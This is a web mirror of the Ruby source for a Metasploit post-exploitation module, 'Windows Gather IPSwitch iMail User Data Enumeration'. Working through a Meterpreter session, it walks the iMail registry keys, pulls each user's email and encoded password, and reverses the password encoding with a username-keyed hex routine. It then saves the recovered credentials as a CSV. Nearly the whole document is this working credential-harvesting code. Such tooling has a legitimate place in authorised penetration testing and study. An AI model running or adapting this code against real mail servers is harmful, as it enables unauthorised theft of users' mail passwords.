Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/imail.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Registry
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Gather IPSwitch iMail User Data Enumeration',
15
'Description' => %q{
16
This module will collect iMail user data such as the username, domain,
17
full name, e-mail, and the decoded password. Please note if IMAILUSER is
18
specified, the module extracts user data from all the domains found. If
19
IMAILDOMAIN is specified, then it will extract all user data under that
20
particular category.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'sinn3r', # Metasploit
25
],
26
'References' => [
27
['EDB', '11331'],
28
],
29
'Platform' => [ 'win' ],
30
'SessionTypes' => [ 'meterpreter' ],
31
'Notes' => {
32
'Stability' => [CRASH_SAFE],
33
'SideEffects' => [],
34
'Reliability' => []
35
}
36
)
37
)
38
39
register_options(
40
[
41
OptString.new('IMAILUSER', [false, 'iMail username', '']),
42
OptString.new('IMAILDOMAIN', [false, 'iMail Domain', ''])
43
]
44
)
45
end
46
47
def download_info(imail_user = '', imail_domain = '')
48
base = 'HKLM\\SOFTWARE\\Ipswitch\\IMail'
49
50
# Find domain(s)
51
users_subkey = []
52
if imail_domain.empty?
53
domains_key = registry_enumkeys("#{base}\\domains")
54
if !domains_key.nil?
55
domains_key.each do |domain_key|
56
users_subkey << "#{base}\\domains\\#{domain_key}\\Users"
57
end
58
end
59
else
60
users_subkey << "#{base}\\domains\\#{imail_domain}\\Users"
61
end
62
63
# Find users
64
users_key = []
65
users_subkey.each do |user_key|
66
if imail_user.empty?
67
users = registry_enumkeys(user_key)
68
if !users.nil?
69
users.each do |user|
70
users_key << "#{user_key}\\#{user}"
71
end
72
end
73
else
74
users_key << "#{user_key}\\#{imail_user}"
75
end
76
end
77
78
# Get data for each user
79
users = []
80
users_key.each do |key|
81
# Filter out '_aliases'
82
next if key =~ /_aliases/
83
84
vprint_status("Grabbing key: #{key}")
85
86
domain = ::Regexp.last_match(1) if key =~ /Ipswitch\\IMail\\domains\\(.+)\\Users/
87
mail_addr = registry_getvaldata(key, 'MailAddr')
88
password = registry_getvaldata(key, 'Password')
89
full_name = registry_getvaldata(key, 'FullName')
90
username = ::Regexp.last_match(1) if mail_addr =~ /(.+)@.+/
91
92
# Hmm, I don't think this user exists, skip to the next one
93
next if mail_addr.nil?
94
95
current_user =
96
{
97
domain: domain,
98
fullname: full_name,
99
username: username,
100
email: mail_addr,
101
password: password
102
}
103
104
users << current_user
105
end
106
107
return users
108
end
109
110
def decode_password(username = '', enc_password = '')
111
# No point trying to decode if there's no username or password
112
return '' if username.empty? || enc_password.empty?
113
114
counter = 0
115
password = ''
116
117
# Start decoding, what's up gold $$
118
0.step(enc_password.length - 1, 2) do |i|
119
byte_1 = enc_password[i, 1].unpack('C')[0]
120
byte_1 = (byte_1 <= 57) ? byte_1 - 48 : byte_1 - 55
121
byte_1 *= 16
122
123
byte_2 = enc_password[i + 1, 1].unpack('C')[0]
124
byte_2 = (byte_2 <= 57) ? byte_2 - 48 : byte_2 - 55
125
126
char = byte_1 + byte_2
127
128
counter = 0 if username.length <= counter
129
130
username_byte = username[counter, 1].unpack('C')[0]
131
if (username_byte > 54) && (username_byte < 90)
132
username_byte += 32
133
end
134
135
char -= username_byte
136
counter += 1
137
password << char.chr
138
end
139
140
vprint_status("Password '#{enc_password}' = #{password}")
141
142
return password
143
end
144
145
def report(users)
146
credentials = Rex::Text::Table.new(
147
'Header' => 'Ipswitch iMail User Credentials',
148
'Indent' => 1,
149
'Columns' =>
150
[
151
'User',
152
'Password',
153
'Domain',
154
'Full Name',
155
'E-mail'
156
]
157
)
158
159
users.each do |user|
160
domain = user[:domain]
161
username = user[:username]
162
password = user[:password]
163
full_name = user[:fullname]
164
e_mail = user[:email]
165
166
if datastore['VERBOSE']
167
text = ''
168
text << "User=#{username}, "
169
text << "Password=#{password}, "
170
text << "Domain=#{domain}, "
171
text << "Full Name=#{full_name}, "
172
text << "E-mail=#{e_mail}"
173
print_good(text)
174
end
175
176
credentials << [username, password, domain, full_name, e_mail]
177
end
178
179
print_status('Storing data...')
180
181
path = store_loot(
182
'imail.user.creds',
183
'text/csv',
184
session,
185
credentials.to_csv,
186
'imail_user_creds.csv',
187
'Ipswitch iMail user credentials'
188
)
189
190
print_status("User credentials saved in: #{path}")
191
end
192
193
def run
194
imail_user = datastore['IMAILUSER']
195
imail_domain = datastore['IMAILDOMAIN']
196
197
vprint_status('Download iMail user information...')
198
199
# Download user data. If no user specified, we dump it all.
200
users = download_info(imail_user, imail_domain)
201
202
# Process fullname and decode password
203
users.each do |user|
204
user[:fullname] = Rex::Text.to_ascii(user[:fullname][2, user[:fullname].length])
205
user[:password] = decode_password(user[:username], user[:password])
206
end
207
208
# Report information and store it
209
report(users)
210
end
211
end
212
213